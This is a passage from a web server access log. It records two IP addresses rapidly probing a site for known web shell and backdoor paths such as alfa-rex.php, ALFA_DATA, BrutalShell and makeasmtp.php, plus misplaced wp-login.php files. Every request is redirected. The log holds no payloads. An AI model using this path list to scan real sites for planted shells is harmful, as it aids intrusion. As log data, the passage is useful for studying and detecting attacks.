/roundcube/static/common/user/uedit/php/controller.php?action=catchimage HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.89 - - [23/Apr/2025:03:25:48 -0400] "GET /wp-admin/css/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.91 - - [23/Apr/2025:03:25:48 -0400] "GET /wp-includes/images/wlw/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.89 - - [23/Apr/2025:03:25:48 -0400] "GET /cekidot/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.91 - - [23/Apr/2025:03:25:48 -0400] "GET /wp-content/themes/deeto/login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.89 - - [23/Apr/2025:03:25:48 -0400] "GET /wp-includes/pomo/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:48 -0400] "GET /wp-includes/rest-api-stack.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:48 -0400] "GET /ubh/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:48 -0400] "GET /wp-content/plugins/hello.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.89 - - [23/Apr/2025:03:25:48 -0400] "GET /wp-includes/block-patterns/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.89 - - [23/Apr/2025:03:25:48 -0400] "GET /wp-content/ALFA_DATA/alfacgiapi/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:48 -0400] "GET /wp-includes/Text/Diff/Engine/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:48 -0400] "GET /wp-admin/css/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:48 -0400] "GET /wp-admin/css/makeasmtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.89 - - [23/Apr/2025:03:25:48 -0400] "GET /wp-content/plugins/linkpreview/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.91 - - [23/Apr/2025:03:25:48 -0400] "GET /wp-admin/css/colors/ectoplasm/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.91 - - [23/Apr/2025:03:25:48 -0400] "GET /wp-includes/pomo/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:49 -0400] "GET /wp-content/plugins/aryabot/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.89 - - [23/Apr/2025:03:25:49 -0400] "GET /wp-admin/js/makeasmtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.91 - - [23/Apr/2025:03:25:49 -0400] "GET /wp-admin/css/colors/midnight/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.91 - - [23/Apr/2025:03:25:49 -0400] "GET /wp-includes/block-patterns/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.89 - - [23/Apr/2025:03:25:49 -0400] "GET /wp-content/plugins/BrutalShell/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.89 - - [23/Apr/2025:03:25:49 -0400] "GET /wp-includes/rest-api/search/makeasmtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.91 - - [23/Apr/2025:03:25:49 -0400] "GET /wp-includes/PHPMailer/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.91 - - [23/Apr/2025:03:25:49 -0400] "GET /wp-admin/css/makeasmtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:49 -0400] "GET /wp-content/plugins/cache-wordpress/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:49 -0400] "GET /wp-class-inc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.91 - - [23/Apr/2025:03:25:49 -0400] "GET /wp-includes/Text/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.91 - - [23/Apr/2025:03:25:49 -0400] "GET /wp-admin/js/makeasmtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.91 - - [23/Apr/2025:03:25:49 -0400] "GET /wp-includes/sitemaps/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:49 -0400] "GET /wp-content/view.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.89 - - [23/Apr/2025:03:25:49 -0400] "GET /wp-content/plugins/cakil/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.91 - - [23/Apr/2025:03:25:49 -0400] "GET /wp-includes/rest-api/search/makeasmtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:50 -0400] "GET /js/kcfinder/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.91 - - [23/Apr/2025:03:25:50 -0400] "GET /wp-includes/sitemaps/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:50 -0400] "GET /wp-content/plugins/cekidot/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:50 -0400] "GET /wp-class-inc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.89 - - [23/Apr/2025:03:25:50 -0400] "GET /files/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:50 -0400] "GET /wp-includes/widgets/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:50 -0400] "GET /wp-content/plugins/db/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:50 -0400] "GET /wp-content/view.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.89 - - [23/Apr/2025:03:25:50 -0400] "GET /wp-content/uploads/2014/06/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.89 - - [23/Apr/2025:03:25:50 -0400] "GET /wp-content/plugins/home/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:50 -0400] "GET /js/kcfinder/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.91 - - [23/Apr/2025:03:25:50 -0400] "GET /wp-includes/images/smilies/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.89 - - [23/Apr/2025:03:25:50 -0400] "GET /wp-includes/block-supports/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.89 - - [23/Apr/2025:03:25:50 -0400] "GET /wp-content/plugins/limit/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:50 -0400] "GET /files/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:50 -0400] "GET /wp-includes/images/smilies/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:50 -0400] "GET /wp-includes/wp-includes_function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.91 - - [23/Apr/2025:03:25:50 -0400] "GET /wp-content/uploads/2014/06/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:50 -0400] "GET /wp-content/plugins/owfsmac/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:50 -0400] "GET /wp-content/upgrade/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:50 -0400] "GET /assets/library.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.89 - - [23/Apr/2025:03:25:50 -0400] "GET /wp-content/plugins/prenota/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:50 -0400] "GET /wp-includes/block-supports/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:51 -0400] "GET /wp-content/upgrade/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.89 - - [23/Apr/2025:03:25:51 -0400] "GET /wp-admin/class-db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:51 -0400] "GET /wp-includes/wp-includes_function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:51 -0400] "GET /wp-content/plugins/random/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.91 - - [23/Apr/2025:03:25:51 -0400] "GET /wp-admin/css/colors/coffee/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:51 -0400] "GET /templates/beez3/jsstrings.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:51 -0400] "GET /assets/library.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:51 -0400] "GET /wp-content/plugins/ubh/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.91 - - [23/Apr/2025:03:25:51 -0400] "GET /wp-includes/Text/Diff/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:51 -0400] "GET /wp-admin/class-db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:51 -0400] "GET /wp-includes/sitemaps/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.89 - - [23/Apr/2025:03:25:51 -0400] "GET /wp-content/plugins/Uwogh-Segs/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:51 -0400] "GET /templates/beez3/jsstrings.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:51 -0400] "GET /wp-includes/Text/Diff/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:51 -0400] "GET /cgi-bin/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:51 -0400] "GET /wp-content/plugins/wp-diambar/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.91 - - [23/Apr/2025:03:25:51 -0400] "GET /wp-includes/sitemaps/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.91 - - [23/Apr/2025:03:25:51 -0400] "GET /wp-includes/Text/Diff/Renderer/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.89 - - [23/Apr/2025:03:25:51 -0400] "GET /admin/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.89 - - [23/Apr/2025:03:25:51 -0400] "GET /wp-content/plugins/wp-freeform/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.91 - - [23/Apr/2025:03:25:52 -0400] "GET /wp-includes/Text/Diff/Renderer/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:52 -0400] "GET /wp-includes/fonts/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:52 -0400] "GET /cgi-bin/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.89 - - [23/Apr/2025:03:25:52 -0400] "GET /wp-content/plugins/wp-hps/sh/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.91 - - [23/Apr/2025:03:25:52 -0400] "GET /admin/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.89 - - [23/Apr/2025:03:25:52 -0400] "GET /wp-includes/html-api/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:52 -0400] "GET /wp-includes/images/wlw/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:52 -0400] "GET /wp-content/plugins/wpeazvp/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:52 -0400] "GET /wp-includes/ID3/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:52 -0400] "GET /wp-includes/images/wlw/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:52 -0400] "GET /wp-includes/fonts/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.89 - - [23/Apr/2025:03:25:52 -0400] "GET /wp-content/plugins/zaen/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:52 -0400] "GET /wp-includes/Text/Diff/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:52 -0400] "GET /product-category/gaming/page/2/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:52 -0400] "GET /wp-includes/html-api/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.89 - - [23/Apr/2025:03:25:52 -0400] "GET /wp-content/uploads/revslider/templates/immersion-photography/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:52 -0400] "GET /images/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.91 - - [23/Apr/2025:03:25:52 -0400] "GET /wp-includes/ID3/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.89 - - [23/Apr/2025:03:25:52 -0400] "GET /patriotic/wp-includes/images/smilies/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:52 -0400] "GET /request-quote/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.91 - - [23/Apr/2025:03:25:52 -0400] "GET /product-category/gaming/page/2/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.91 - - [23/Apr/2025:03:25:52 -0400] "GET /wp-admin/includes/rk4.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.89 - - [23/Apr/2025:03:25:53 -0400] "GET /wp-includes/js/tinymce/plugins/fullscreen/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:53 -0400] "GET /wp-includes/style-engine/worksec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.91 - - [23/Apr/2025:03:25:53 -0400] "GET /request-quote/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.91 - - [23/Apr/2025:03:25:53 -0400] "GET /wp-admin/includes/connects.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:53 -0400] "GET /wp-content/plugins/core-stab/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:53 -0400] "GET /wp-content/themes/fing/uph.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.91 - - [23/Apr/2025:03:25:53 -0400] "GET /wp-includes/style-engine/worksec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:53 -0400] "GET /wp-admin/includes/eorr.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.89 - - [23/Apr/2025:03:25:53 -0400] "GET /wp-content/themes/alera/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.89 - - [23/Apr/2025:03:25:53 -0400] "GET /wp-content/themes/twentytwentythree/templates/blog-alternative.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.91 - - [23/Apr/2025:03:25:53 -0400] "GET /wp-admin/includes/html.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.91 - - [23/Apr/2025:03:25:53 -0400] "GET /wp-content/themes/fing/uph.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 